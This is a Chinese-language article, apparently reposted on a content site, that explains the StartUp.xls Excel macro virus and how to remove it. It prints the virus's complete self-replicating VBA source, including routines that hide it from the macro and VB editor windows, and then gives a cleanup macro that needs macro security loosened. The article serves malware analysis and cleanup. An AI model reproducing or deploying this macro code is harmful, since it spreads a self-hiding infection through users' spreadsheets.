1.StartUp.xls為何物?
在打開任何一個(gè)EXCEL文件時(shí),會(huì)自動(dòng)打開StartUp.xls文件,并且是隱藏著的。其路徑位于:除C:Documents andSettingsadministratorApplicationDataMicrosoftExcelXLSTART中。這就讓病毒獲得了感染的途徑。這個(gè)文件是被帶有StartUp宏病毒的文件感染之后,當(dāng)用戶再打開本機(jī)中其它EXCLE時(shí),打開的EXCEL文件即被感染。
2.StartUp代碼:
StartUp有幾種形式,但都同理,下面列出的代碼是其中一種常見(jiàn)的。
Sub auto_open()
On ErrorResume Next
'如果打開的不是StartUp.xls
IfThisWorkbook.Path <>Application.StartupPath And Dir(Application.StartupPath& "" & "StartUp.xls") = ""Then
Application.ScreenUpdating = False '不刷新屏幕
ThisWorkbook.Sheets("StartUp").Copy'復(fù)制StartUp的工作表到當(dāng)前的工作簿中
ActiveWorkbook.SaveAs (Application.StartupPath &""&"StartUp.xls") '保存
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False '隱藏
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
EndIf
Application.OnSheetActivate = "StartUp.xls!cop"'工作表激活時(shí)調(diào)用StartUp模塊的cop過(guò)程
Application.OnKey "%{F11}", "StartUp.xls!escape"'處理alt+F11和alt+F8快捷鍵,F11打開VB編輯器,F8打開宏窗口時(shí),調(diào)用StartUp模塊的escape過(guò)程
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
On ErrorResume Next
'如果當(dāng)前激活的工作表不是StartUp,則復(fù)制StartUp,并把選擇原先用戶的要激活的工作表
IfActiveWorkbook.Sheets(1).Name <>"StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copybefore:=Worksheets(1)
Sheets(n$).Select
EndIf
End Sub
Sub back()
On ErrorResume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"),"StartUp.xls!cop"
Workbooks.Open Application.StartupPath &"StartUp.xls"
End Sub

Sub escape()
'這個(gè)過(guò)程主要是在用戶打開宏窗口或是VB編輯器時(shí)看不到StartUp
On ErrorResume Next
Application.OnSheetActivate = "StartUp.xls!back"'當(dāng)有工作表被激活時(shí),startup又要回來(lái)了。
Application.OnKey "%{F11}"
Application.OnKey "%{F8}"
Application.SendKeys "%{F11}"
Application.SendKeys "%{F8}"
For Eachbook In Workbooks
Application.DisplayAlerts = False'在刪除時(shí),不要顯示提示對(duì)話框
If book.Name= "StartUp.xls" Thenbook.Sheets("StartUp").Delete '刪除StartUp
Next
For Eachbook In Workbooks
If book.Name = "StartUp.xls" Then
book.Close '關(guān)閉StartUp工作簿
End If
Next
End Sub
3.解決方法
知道了病毒的運(yùn)行流程,想要處理就好辦多了。有的人直接刪除StartUp.xls還有C:Documents andSettingsadministratorApplicationDataMicrosoftExcelExcel11.xls,但沒(méi)有處理那些已被感染了的EXCEL文件,還是會(huì)存在隱患的。對(duì)于已被感染的EXCEL文件,可以從VB編輯器中移除StartUp模塊,重新保存即可,但要一個(gè)一個(gè)去刪除被感染文件的StartUp模塊,那著實(shí)麻煩。這時(shí)可以利用病毒已鋪好的路子,自動(dòng)移除StartUp模塊,即仍然使用StartUp.xls,只是代碼改為:
Sub auto_open()
On ErrorResume Next
Application.ScreenUpdating = False
Application.OnSheetActivate = "StartUp.xls!cop"'注意此cop方法,要依據(jù)你被感染的具體名稱來(lái)改
End Sub
Sub cop()
On ErrorResume Next
For Eachbook In Workbooks
if book.Name<>"StartUp.xls"then
Set del = book.VBProject.VBComponents("StartUp")
book.VBProject.VBComponents.Remove del
end if
Next
End Sub
網(wǎng)上看到不少朋友只會(huì)貼代碼,不了解其中原理,往往貼下來(lái)的代碼是無(wú)效的。在此有幾點(diǎn)要注意幾點(diǎn)。
·因?yàn)閯h除病毒的代碼是也是通過(guò)宏來(lái)運(yùn)行的,所以要允許宏操作。
·刪除的模塊的方法使用的是工作簿的VBProject,那在宏的安全設(shè)置(工具>宏>安全性)要允許對(duì)“VB項(xiàng)目”的訪問(wèn)。
·StartUp感染的過(guò)程名,此處是cop,對(duì)應(yīng)的處理過(guò)程是也是cop,如果你被感染的StartUp的子過(guò)程名是ycop,那這里也要相應(yīng)的改成StartUp.xls!ycop,Subycop,否則清除病毒的代碼也是運(yùn)行不了的。
愛(ài)華網(wǎng)本文地址 » http://www.klfzs.com/a/25101014/206590.html
愛(ài)華網(wǎng)



